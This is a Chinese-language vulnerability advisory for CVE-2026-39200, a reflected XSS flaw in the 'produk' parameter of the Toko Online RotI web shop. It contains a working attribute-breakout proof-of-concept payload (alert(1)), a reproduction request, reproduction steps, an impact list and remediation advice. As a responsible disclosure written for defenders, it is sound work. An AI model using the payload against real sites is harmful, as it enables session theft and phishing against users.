CVE-2026-39200 — Toko Online RotI 中的反射型跨站脚本（XSS）

概述

在 Toko Online RotI Web 应用程序的 produk 请求参数中发现了反射型跨站脚本（XSS）漏洞。该应用程序在将用户提供的输入反射到用双引号封装的 HTML 标签属性中之前，未对其进行 HTML 编码。攻击者可构造恶意 URL，当受害者访问该 URL 时，会在受害者浏览器会话的上下文中执行任意 JavaScript。

字段	值
CVE ID	CVE-2026-39200
漏洞类型	CWE-79 — 网页生成期间输入未正确中和（反射型 XSS）
受影响产品	Toko Online RotI（印尼在线商店）
受影响参数	`produk`
发现者	Uzair Ali (r00tali) — 渗透测试员 / 漏洞赏金猎人
发现日期	2026-07-03
CVE 分配日期	2026-07-12
公告发布日期	2026-07-19

漏洞详情

produk 请求参数会被逐字复制到以双引号括起的 HTML 标签属性值中。由于应用程序在反射用户输入之前未对其进行 HTML 编码，攻击者可通过提交包含结束双引号及后续 HTML/JavaScript 载荷的 payload 来突破该属性。

概念验证载荷

xbnw0"><script>alert(1)</script>skc2h

当此载荷作为 produk 参数提交时，应用程序会将输入未转义地回显到响应中。末尾的 "> 会终止原始属性，注入的 <script>alert(1)</script> 块会被浏览器解释为新的 HTML 元素，从而在用户会话中执行任意 JavaScript。

漏洞模式（概念示意）

<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />

<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
                                                            ^^^^^^^^^^^^^^^^^^^^^^^^
                                                            Browser executes this

HTTP 请求（复现）

GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0

HTTP 响应（摘录）

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<html>
  <body>
    <!-- ... -->
    <input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
    <!-- ... -->
  </body>
</html>

复现步骤

在 Toko Online RotI 应用程序中识别一个会在 HTML 属性内反射 produk 参数的端点（例如商品搜索、详情或筛选页面）。
将 produk 参数值替换为以下载荷：
```
xbnw0"><script>alert(1)</script>skc2h
```
向服务器提交该请求。
检查服务器的响应。载荷会被原样回显到属性内部，突破 " 并在 DOM 中产生一个有效的 <script> 元素。
在任何现代浏览器中加载构造的响应。将显示一个 JavaScript alert(1) 对话框，从而确认可在受害者会话中执行任意 JavaScript。

影响

成功利用此反射型 XSS 漏洞后，攻击者可以：

窃取会话 Cookie 和身份验证令牌，从而导致账户接管。
在已认证用户不知情的情况下代其执行操作。
将用户重定向到恶意网站（网络钓鱼 / 凭据收集）。
向应用程序注入恶意内容（网页篡改）。
捕获受害者提交的键盘输入和表单数据。
利用浏览器漏洞进行路过式（drive-by）恶意软件投递。
滥用用户与应用程序域名之间的信任关系。

由于该漏洞为反射型，利用仅需受害者点击一个构造好的链接，因此极易在网络钓鱼活动中被武器化利用。

CVSS v3.1（估计值）： 6.1（中危）— AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

修复建议

为修复此漏洞，厂商应：

对所有用户提供的值进行 HTML 编码，然后再将其反射到 HTML 输出中。具体应对 <、>、"、' 和 & 进行编码（例如 <、>、"、'、&）。
使用框架内置的输出编码辅助函数，而不是手动拼接。示例：
- PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
- ASP.NET: HttpUtility.HtmlEncode(input) 或 <%: %> 语法
- Python (Jinja2): {{ input }}（默认自动转义）

披露时间线

日期	事件
2026-07-03	在授权安全测试期间发现漏洞
2026-07-03	通过 cveform.mitre.org 向 MITRE 申请 CVE ID
2026-07-12	由 MITRE 分配团队分配 CVE-2026-39200
2026-07-19	发布公开公告

发现者

** Uzair Ali (r00tali)** — 渗透测试员 / 漏洞赏金猎人 / 安全研究员

GitHub: https://github.com/r00tali

参考资料

免责声明

本公告仅用于教育和防御目的。该漏洞已通过 MITRE CVE 分配团队以负责任披露流程上报。公告中不包含任何厂商机密信息、客户数据或专有代码。概念验证使用了良性的 alert(1) 载荷，旨在证明该漏洞的存在，而非协助攻击线上服务。

CVE-2026-39200

最受欢迎